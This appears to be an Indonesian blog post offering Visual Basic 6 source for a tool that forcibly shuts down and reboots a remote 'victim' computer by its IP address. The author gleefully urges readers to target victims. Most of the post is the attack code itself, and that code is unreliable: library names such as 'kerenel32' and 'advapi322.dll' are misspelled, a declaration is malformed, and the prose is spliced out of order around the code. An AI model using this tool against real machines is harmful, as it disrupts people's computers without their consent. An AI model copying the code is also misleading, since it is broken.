Project : Shutdown.vb
Form : frm.shutdown.frm
Kontrol penting : 1 label, 1 Text box untuk menuliskan IP, dan 1 tombol Command.
Untuk source kode frmShutdown nya tunggu dulu ya, saya masih ngetik nih belum selesai…. Beberapa hari lagi tinggalin alamat email aja kalau mau ntar saya kirim via email…
Berikut adalah source code frmShutdown:
Option Explicit
Private Type WSADATA
wVersion As Integer
wHighVersion As Integer
szDescription(0 To 256) As Byte
szSystemStatus(0 To 128) As Byte
imaxsockets As Integer
imaxudp As Integer
ipszvenderinfo As Long
End Type
Private Declare Function WSAStartup Lib “wsock32″ (ByVal VersionReq As Long, WSADataReturn As WSADATA) As String
Private Declare Function WSACleanup Lib “wsock32″ () As Long
Private Declare Function inet_addr Lib “wsock32″ (ByVals As String) As Long
Private Declare Function gethostbyaddr Lib “wsock” (haddr As Long, ByVal hnlen As Long, ByVal addrtype As Long) As Long
Private Declare Sub CopyMemory Lib “kerenel32″ Alias “RtlMoveMemory” (xDest As Any, xSource As Any, ByVal nbytes As Long)
Private Declare Function lstrlen Lib “kernel32″ Alias “lstrlenA” (lpString As Any) As Long
Private Declare Function InitiateSystemShutdown Lib “advapi322.dll” Alias “InitiateSystemShutdownA” (ByVal lpMachineName As String, ByVal lpMessage As String, ByVal dwTimeout As Long, ByVal bForceAppsClosed As Long, ByVal bRebootAfterShutdown As Long) As Long
Berikut adalah source code saat event klik Command1
Private Sub Command1_Click()
Dim name As String
name = GetHostNameFromIP(Text1.Text)
If MsgBox(“IP ” & Text1.Text & ” (” & name & “)telah ditemukan” & vbCrLf & “Jadi dimatikan?”, vbYesNo + vbQuestion, “Gotcha!!”) = vbYes Then
InitiateSystemShutdown “\\” & name, “Selamat tinggal……”, 30, True, True
End If
End Sub
Berikut ini fungsi-fungsi yang diperlukan:
Jalankan program ini dengan Ctrl+F5. Masukkan IP korban yang diinginkan tekan tombol Cari dan Matikkan!!
Apabila keadaan komputer sedang aktif maka akan ada konfirmasi Yes atau No. Tentu saja kita tekan yang Yes. Dan WEW seketika komputer korban akan mati. Wkewkwkwkkwk,,,, senangnya,,,, hihihi,,,, udah dulu ach pegel nech badan bikin program yang WEW dech….
Public Function SocketsInitialize() As Boolean
Dim WSAD As WSADATA
SocketsInitialize = WSAStartup(&H101, WSAD) = 0
End Function
Public Function GetHostNameFromIP(ByVal sAddress As String) As String
Dim ptrHosent As Long
Dim hAddress As Long
Dim nbytes As Long
If SocketsInitialize() Then
hAddress = inet_addr(sAddress)
If hAddress <> -1 Then
ptrHosent = gethostbyaddr(hAddress, 4, 2)
If ptrHosent <> 0 Then
CopyMemory ptrHosent, ByVal ptrHosent, 4
nbytes = lstrlen(ByVal ptrHosent)
If nbytes > 0 Then
sAddress = Space$(nbytes)
CopyMemory ByVal sAddress, ByVal ptrHosent, nbytes
GetHostNameFromIP = sAddress
End If
Else
MsgBox “Error!!!!”
End If
WSACleanup
Else
MsgBox “Alamat IP salah”
End If
Else
MsgBox “Winsock Error!!”
End If
End Function
By : blankerz
Tidak ada komentar:
Posting Komentar